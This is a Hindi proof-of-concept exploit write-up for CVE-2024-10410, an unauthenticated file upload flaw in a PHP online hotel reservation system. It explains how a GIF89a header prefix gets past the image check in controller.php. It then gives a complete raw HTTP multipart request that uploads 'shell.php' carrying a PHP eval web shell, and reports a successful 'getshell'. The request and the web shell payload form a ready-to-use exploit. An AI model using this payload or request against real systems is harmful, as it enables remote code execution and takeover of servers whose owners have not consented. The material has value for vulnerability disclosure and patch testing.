
CVE-2024-10410 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: ऑनलाइन होटल आरक्षण प्रणाली में असीमित फ़ाइल अपलोड। GIF हेडर इंजेक्शन के माध्यम से छवि सत्यापन को बायपास करके रिमोट कोड निष्पादन प्राप्त करने का प्रदर्शन करता है।
ऑनलाइन होटल आरक्षण प्रणाली PHP/MySQLi में स्रोत कोड के साथ | SourceCodester
ऑनलाइन होटल आरक्षण प्रणाली में एक उच्च जोखिम वाली कमजोरी पाई गई, जो /marimar/admin/mod_room/controller.php फ़ाइल के अपलोड फ़ंक्शन को प्रभावित करती है। image पैरामीटर के बायपास डिटेक्शन ऑपरेशन के परिणामस्वरूप असीमित फ़ाइल अपलोड हुआ। हमले दूरस्थ रूप से लॉन्च किए जा सकते हैं।
marimar\admin\mod_room\controller.php

फ़ाइल अपलोड होने के बाद, $image_name वेरिएबल फ़ाइल नाम को वर्तमान वर्ष, माह और दिन में बदल देता है, फिर _ और अपलोड की गई फ़ाइल का नाम जोड़ता है।
कमजोरी $image_size वेरिएबल में है, जो यह जाँचता है कि यह एक छवि फ़ाइल है या नहीं, और अन्यथा अपलोडिंग अक्षम कर देता है। इसलिए हमें केवल इंजेक्टेड दुर्भावनापूर्ण फ़ाइल के सामने छवि का हेडर जोड़ना है ताकि डिटेक्शन को बायपास किया जा सके।
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
दुर्भावनापूर्ण कोड के पहले GIF89a जोड़ा गया था जो इसे gif के रूप में प्रच्छन्न करता है। अपलोड पैकेट बनाएँ, और आप देख सकते हैं कि कुकी हटा दी गई है, जो दर्शाता है कि सिस्टम में प्रमाणीकरण नहीं है और दूरस्थ रूप से हमले लॉन्च किए जा सकते हैं।

हालाँकि यह एक चेतावनी थी, फ़ाइल सफलतापूर्वक अपलोड हो गई, और फ़ाइल नाम का अनुमान 2024/10/25 21:55 के वर्तमान समय के आधार पर लगाया गया।


सफलतापूर्वक getshell